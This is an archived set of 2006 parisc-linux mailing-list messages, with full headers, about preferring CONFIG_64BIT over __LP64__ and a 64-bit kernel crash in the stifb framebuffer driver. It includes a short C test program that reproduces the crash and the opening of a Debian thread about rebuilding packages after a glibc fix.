  by mx0.gmx.net (mx007) with SMTP; 16 Jan 2006 17:42:13 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 17B617D64A;
	Mon, 16 Jan 2006 09:42:10 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 31322-02; Mon, 16 Jan 2006 09:42:10 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 074397D65A;
	Mon, 16 Jan 2006 09:42:09 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9BCFE7D658
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 16 Jan 2006 09:42:05 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 30876-09 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 16 Jan 2006 09:42:05 -0700 (MST)
Original-Received: from fattire.cabal.ca (cabal.ca [134.117.69.58])
	by free.linux.hp.com (Postfix) with ESMTP id EF5617D64A
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 16 Jan 2006 09:42:04 -0700 (MST)
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by fattire.cabal.ca (Postfix) with ESMTP id 4BC8923E86;
	Mon, 16 Jan 2006 11:42:04 -0500 (EST)
Original-Received: from fattire.cabal.ca ([127.0.0.1])
	by localhost (fattire [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 20214-05; Mon, 16 Jan 2006 11:42:04 -0500 (EST)
Original-Received: from quicksilver.road.mcmartin.ca (quicksilver.road.mcmartin.ca
	[134.117.69.56])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client CN "quicksilver.road.mcmartin.ca",
	Issuer "There Is No Cabal Certificate Authority" (verified OK))
	by fattire.cabal.ca (Postfix) with ESMTP id 03C7D23E84;
	Mon, 16 Jan 2006 11:42:04 -0500 (EST)
Original-Received: by quicksilver.road.mcmartin.ca (Postfix, from userid 1000)
	id 550A23B060; Mon, 16 Jan 2006 11:40:54 -0500 (EST)
Content-Disposition: inline
In-Reply-To: <43CA9FF8.5070405@tiscali.be>
User-Agent: Mutt/1.5.11
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at cabal.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: sam5Y/0qeSEkdb6WZHQhaXN1IGRvb4Cw
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23377

On Sun, Jan 15, 2006 at 07:18:16PM +0000, Joel Soete wrote:
> Hello *,
> 
> Could we move all #ifdef __LP64__ to CONFIG_64BIT?
>

Er, why? One of them is shorter to write, and makes the
same amount of sense... I have no particularly preference at any
rate. In fact, using __LP64__ might be preferable, as CONFIG_64BIT
requires us including <linux/config.h> which means any change
to the config will cause this file to be rebuilt whether or not
it is actually required. Then again, it's entirely possible
my understanding of this config crap is antiquated.

Cheers,
	Kyle 
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] __LP64__ / CONFIG_64BIT?
Date: Mon, 16 Jan 2006 09:54:50 -0700
Lines: 30
Approved: news@gmane.org
Message-ID: <20060116165450.GD19769@parisc-linux.org>
References: <43CA9FF8.5070405@tiscali.be>
	<20060116164054.GB4049@quicksilver.road.mcmartin.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623992 17942 80.91.229.3 (22 Nov 2014 02:39:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:39:52 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: - Wed Jul 02 21:27:28 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 16 Jan 2006 16:55:03 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx053) with SMTP; 16 Jan 2006 17:55:03 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CA04E7D688;
	Mon, 16 Jan 2006 09:54:53 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 31566-05; Mon, 16 Jan 2006 09:54:53 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 21F7A7D68D;
	Mon, 16 Jan 2006 09:54:53 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4371F7D684
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 16 Jan 2006 09:54:50 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 31507-05 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 16 Jan 2006 09:54:49 -0700 (MST)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id B2C467D64A
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 16 Jan 2006 09:54:49 -0700 (MST)
Original-Received: by palinux.hppa (Postfix, from userid 26919)
	id 8D2FC494006; Mon, 16 Jan 2006 09:54:50 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20060116164054.GB4049@quicksilver.road.mcmartin.ca>
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: v6q5Y7E/eSEkR76WZHQhaXN1IGRvb4AP
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23378

On Mon, Jan 16, 2006 at 11:40:54AM -0500, Kyle McMartin wrote:
> Er, why? One of them is shorter to write, and makes the
> same amount of sense... I have no particularly preference at any
> rate. In fact, using __LP64__ might be preferable, as CONFIG_64BIT
> requires us including <linux/config.h> which means any change
> to the config will cause this file to be rebuilt whether or not
> it is actually required. Then again, it's entirely possible
> my understanding of this config crap is antiquated.

Doubly antiquated, I'm afraid.  Most recently, changes to the build
system mean that including <linux/config.h> is a no-op.  It's
automatically included for the files that need it.

The earlier antiquation happened many, many years ago, and it was
that the dependency writer (back in the days of 'make dep') treated
<linux/config.h> specially.  It scanned the file looking for CONFIG_*
symbols and added dependencies on the autobuilt include/config/ directory
(one file per config symbol).

I don't think we need to change from __LP64__ to CONFIG_64BIT overnight.
I think CONFIG_64IT has meaning to people from a non-HP environment, so
has slight clarity advantages.  If you're touching some code that uses
__LP64__, by all means do the conversion to CONFIG_64BIT, but don't do
it unnecessarily.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] __LP64__ / CONFIG_64BIT?
Date: Mon, 16 Jan 2006 12:04:08 -0500
Lines: 28
Approved: news@gmane.org
Message-ID: <20060116170408.GC4049@quicksilver.road.mcmartin.ca>
References: <43CA9FF8.5070405@tiscali.be>
	<20060116164054.GB4049@quicksilver.road.mcmartin.ca>
	<20060116165450.GD19769@parisc-linux.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623993 17944 80.91.229.3 (22 Nov 2014 02:39:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:39:53 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: - Wed Jul 02 21:27:28 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 16 Jan 2006 17:05:27 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx006) with SMTP; 16 Jan 2006 18:05:27 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E1F087D6BA;
	Mon, 16 Jan 2006 10:05:24 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 31861-08; Mon, 16 Jan 2006 10:05:24 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D515D7D6B2;
	Mon, 16 Jan 2006 10:05:23 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 962697D6B0
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 16 Jan 2006 10:05:20 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 31861-05 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 16 Jan 2006 10:05:20 -0700 (MST)
Original-Received: from fattire.cabal.ca (cabal.ca [134.117.69.58])
	by free.linux.hp.com (Postfix) with ESMTP id F0BB57D6A5
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 16 Jan 2006 10:05:19 -0700 (MST)
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by fattire.cabal.ca (Postfix) with ESMTP id 4A91F23E85;
	Mon, 16 Jan 2006 12:05:18 -0500 (EST)
Original-Received: from fattire.cabal.ca ([127.0.0.1])
	by localhost (fattire [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 20542-08; Mon, 16 Jan 2006 12:05:18 -0500 (EST)
Original-Received: from quicksilver.road.mcmartin.ca (quicksilver.road.mcmartin.ca
	[134.117.69.56])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client CN "quicksilver.road.mcmartin.ca",
	Issuer "There Is No Cabal Certificate Authority" (verified OK))
	by fattire.cabal.ca (Postfix) with ESMTP id 04BE223E84;
	Mon, 16 Jan 2006 12:05:17 -0500 (EST)
Original-Received: by quicksilver.road.mcmartin.ca (Postfix, from userid 1000)
	id 4359E3B05E; Mon, 16 Jan 2006 12:04:08 -0500 (EST)
Content-Disposition: inline
In-Reply-To: <20060116165450.GD19769@parisc-linux.org>
User-Agent: Mutt/1.5.11
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at cabal.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: D7e5Y5VGeSEkdL6WZHQhaXN1IGRvbwC1
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23379

On Mon, Jan 16, 2006 at 09:54:50AM -0700, Matthew Wilcox wrote:
> Doubly antiquated, I'm afraid.  Most recently, changes to the build
> system mean that including <linux/config.h> is a no-op.  It's
> automatically included for the files that need it.
> 
> The earlier antiquation happened many, many years ago, and it was
> that the dependency writer (back in the days of 'make dep') treated
> <linux/config.h> specially.  It scanned the file looking for CONFIG_*
> symbols and added dependencies on the autobuilt include/config/ directory
> (one file per config symbol).
>

Ok.
 
> I don't think we need to change from __LP64__ to CONFIG_64BIT overnight.
> I think CONFIG_64IT has meaning to people from a non-HP environment, so
> has slight clarity advantages.  If you're touching some code that uses
> __LP64__, by all means do the conversion to CONFIG_64BIT, but don't do
> it unnecessarily.
> 

Fair enough.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:19 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] stifb crash on 64bit kernel
Date: Mon, 16 Jan 2006 20:38:56 +0100
Lines: 111
Approved: news@gmane.org
Message-ID: <200601162038.56418.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: Multipart/Mixed;
  boundary="Boundary-00=_QZ/yD/OS7HmHBKu"
X-Trace: ger.gmane.org 1416623993 17946 80.91.229.3 (22 Nov 2014 02:39:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:39:53 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:28 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 16 Jan 2006 19:39:11 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx017) with SMTP; 16 Jan 2006 20:39:11 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CE7BA7D6B5;
	Mon, 16 Jan 2006 12:39:06 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 00431-06; Mon, 16 Jan 2006 12:39:06 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8BAA77D6B0;
	Mon, 16 Jan 2006 12:39:05 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A4DD47D6AB
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 16 Jan 2006 12:38:59 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 32585-09 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 16 Jan 2006 12:38:59 -0700 (MST)
Original-Received: from mail.gmx.net (mail.gmx.de [213.165.64.21])
	by free.linux.hp.com (Postfix) with SMTP id 9C5B87D6A4
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 16 Jan 2006 12:38:58 -0700 (MST)
Original-Received: (qmail invoked by alias); 16 Jan 2006 19:38:56 -0000
Original-Received: from p54AD4294.dip0.t-ipconnect.de (EHLO ls-cups.box) [84.173.66.148]
	by mail.gmx.net (mp020) with SMTP; 16 Jan 2006 20:38:56 +0100
X-Authenticated: #1045983
User-Agent: KMail/1.9.1
X-Face: *4/{KL3=jWs!v\UO#3e7~Vb1~CL@oP'~|*/M$!9`tb2[;
	fY@)WscF2iV7`,a$141g'o,=?utf-8?q?7X=0A=09=3FBt1Wb=3AL7K6z-?=<?-+-13|S_ixrq58*E`)ZkSe~NSI?u=89G'J<n]7\?[)LCCBZc}~[j(=?utf-8?q?e=7D=0A=09=60-QV=7B=23=25=26=5B=3F=5EfAke6t8QbP=3Bb=27XB?=,ZU84HeThMrO(@/K.`jxq9P({V(AzezCKMxk\F2^p^+"=?utf-8?q?=0A=09=5B?="ppalbA!zy-l)^Qa3*u/Z-1W3,o?2fes2_d\u=1\E9N+~Qo
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: N5O5YxxHeSEkY76WZHQhaXN1IGRvb8AM
Status: R
X-Status: NT
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23380

--Boundary-00=_QZ/yD/OS7HmHBKu
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

Hello,

I just tried the STI framebuffer driver (stifb) again with a 64bit kernel.
As we know it crashes, but I was wondering, why it crashes.
Aparently the mmap() implementation in fbmem.c [fb_mmap()] doesn't works correctly in 64bit mode.
The attached example program is a test-case to produce the crash. 
Just running it, will immediately crash the kernel while it tries to write into the mmapped area.

PCI_BUS_ADDR() and lmmio_space_offset in include/asm-parisc/pci.h looks interesting in this regard.
My 64bit box is the only one, where the graphics card is connected via PCI, and due to the F_EXTEND() macro we expand the physical address into the 0xffffffff00000000UL area.
Might it be, that we need to mmap() another region - maybe calculated with help of PCI_BUS_ADDR() - in the fb_mmap() function in order to make the 64bit graphics working on hppa ?

Any ideas ?

Helge

--Boundary-00=_QZ/yD/OS7HmHBKu
Content-Type: text/plain;
  charset="us-ascii";
  name="stifb_crash.c"
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment;
	filename="stifb_crash.c"

#include <unistd.h>
#include <stdio.h>
#include <fcntl.h>
#include <linux/fb.h>
#include <sys/mman.h>

/* taken from: http://www.sm5sxl.net/~mats/src/unix/graphics/fbtest/framebuffer.html */

int main()
{
        int fbfd = 0;
        struct fb_var_screeninfo vinfo;
        struct fb_fix_screeninfo finfo;
        long int screensize = 0;
        char *fbp = 0;
        int x = 0, y = 0;
        long int location = 0;

        /* Open the file for reading and writing */
        fbfd = open("/dev/fb0", O_RDWR);
        if (!fbfd) {
                printf("Error: cannot open framebuffer device.\n");
                exit(1);
        }
        printf("The framebuffer device was opened successfully.\n");

        /* Get fixed screen information */
        if (ioctl(fbfd, FBIOGET_FSCREENINFO, &finfo)) {
                printf("Error reading fixed information.\n");
                exit(2);
        }

        /* Get variable screen information */
        if (ioctl(fbfd, FBIOGET_VSCREENINFO, &vinfo)) {
                printf("Error reading variable information.\n");
                exit(3);
        }

        /* Figure out the size of the screen in bytes */
        screensize = vinfo.xres * vinfo.yres * vinfo.bits_per_pixel / 8;

        /* Map the device to memory */
        fbp = (char *)mmap(0, screensize, PROT_READ | PROT_WRITE, MAP_SHARED,
                fbfd, 0);
        if ((int)fbp == -1) { printf("Error: failed to map framebuffer device to memory.\n"); exit(4);
        }
        printf("The framebuffer device was mapped to memory successfully.\n");

        x = 100; y = 0;       /* Where we are going to put the pixel */

        /* Figure out where in memory to put the pixel */
        location = (x+vinfo.xoffset) * (vinfo.bits_per_pixel/8) +
                (y+vinfo.yoffset) * finfo.line_length;

/* the following lines will crash the 64bit kernel */
/* if commented out, no crash will happen */
#if 1
        *(fbp + location) = 100;        /* Some blue */
        *(fbp + location + 1) = 15;     /* A little green */
        *(fbp + location + 2) = 200;    /* A lot of red */
        *(fbp + location + 3) = 0;      /* No transparency */
#endif

        munmap(fbp, screensize);
        close(fbfd);
        return 0;
}

--Boundary-00=_QZ/yD/OS7HmHBKu
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--Boundary-00=_QZ/yD/OS7HmHBKu--



From - Thu Nov 08 21:34:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [Fwd: [patch/hppa] Floating point exception handling patch]
Date: Mon, 16 Jan 2006 15:43:37 -0700
Lines: 26
Approved: news@gmane.org
Message-ID: <20060116224337.GC22635__11836.2650428482$1416623993$gmane$org@colo.lackof.org>
References: <43CADCFC.60802@tausq.org> <20060116062212.GC22048@colo.lackof.org> <20060116164050.GA4049@quicksilver.road.mcmartin.ca> <20060116170359.GE29884@tennyson.dodds.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623993 17948 80.91.229.3 (22 Nov 2014 02:39:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:39:53 +0000 (UTC)
To: Kyle McMartin <kyle@debian.org>,
 Grant Grundler <grundler@parisc-linux.org>,
 Randolph Chung <randolph@tausq.org>,
 parisc-linux <parisc-linux@lists.parisc-linux.org>,
 debian-hppa <debian-hppa@lists.debian.org>,
 debian-release <debian-release@lists.debian.org>
Original-X-From: - Wed Jul 02 21:27:28 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <bounce-debian-hppa=deller=gmx.de@lists.debian.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 16 Jan 2006 22:35:39 -0000
Original-Received: from murphy.debian.org (EHLO murphy.debian.org) [146.82.138.6]
  by mx0.gmx.net (mx073) with SMTP; 16 Jan 2006 23:35:39 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by murphy.debian.org (Postfix) with QMQP
	id 5E05F2E9AB; Mon, 16 Jan 2006 16:34:19 -0600 (CST)
Old-Return-Path: <grundler@lackof.org>
X-Original-To: debian-hppa@lists.debian.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by murphy.debian.org (Postfix) with ESMTP id 534FA2E84B;
	Mon, 16 Jan 2006 16:34:18 -0600 (CST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id DFCDF36000E;
	Mon, 16 Jan 2006 15:43:37 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 05136-09; Mon, 16 Jan 2006 15:43:37 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 8E096360001; Mon, 16 Jan 2006 15:43:37 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20060116170359.GE29884@tennyson.dodds.net>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Rc-Virus: 2005-11-10_01
X-Rc-Spam: 2005-09-11_01
X-Spam-Checker-Version: SpamAssassin 3.0.3 (2005-04-27) on murphy.debian.org
X-Spam-Status: No, score=0.2 required=4.0 tests=AWL,MURPHY_DRUGS_REL8 
	autolearn=no version=3.0.3
Resent-Message-ID: <E-qCUC.A.wOE.r9BzDB@murphy>
Resent-From: debian-hppa@lists.debian.org
X-Mailing-List: <debian-hppa@lists.debian.org> archive/latest/5104
X-Loop: debian-hppa@lists.debian.org
List-Id: <debian-hppa.lists.debian.org>
List-Post: <mailto:debian-hppa@lists.debian.org>
List-Help: <mailto:debian-hppa-request@lists.debian.org?subject=help>
List-Subscribe: <mailto:debian-hppa-request@lists.debian.org?subject=subscribe>
List-Unsubscribe: <mailto:debian-hppa-request@lists.debian.org?subject=unsubscribe>
Precedence: list
Resent-Sender: debian-hppa-request@lists.debian.org
Resent-Date: Mon, 16 Jan 2006 16:34:19 -0600 (CST)
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Sender is in whitelist: bounce-debian-hppa=deller=gmx.de@lists.debian.org)
X-GMX-UID: 7Hq+Y7IqeSEkO76WZHQhaXN1IGRvb4B1
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23381

On Mon, Jan 16, 2006 at 09:03:59AM -0800, Steve Langasek wrote:
> > This is a pretty short list... Would anyone object to binNMUs of the
> > effected packages on hppa, once a fixed glibc is uploaded?
> 
> If the bug is in glibc, why would any of these packages need binNMUs?

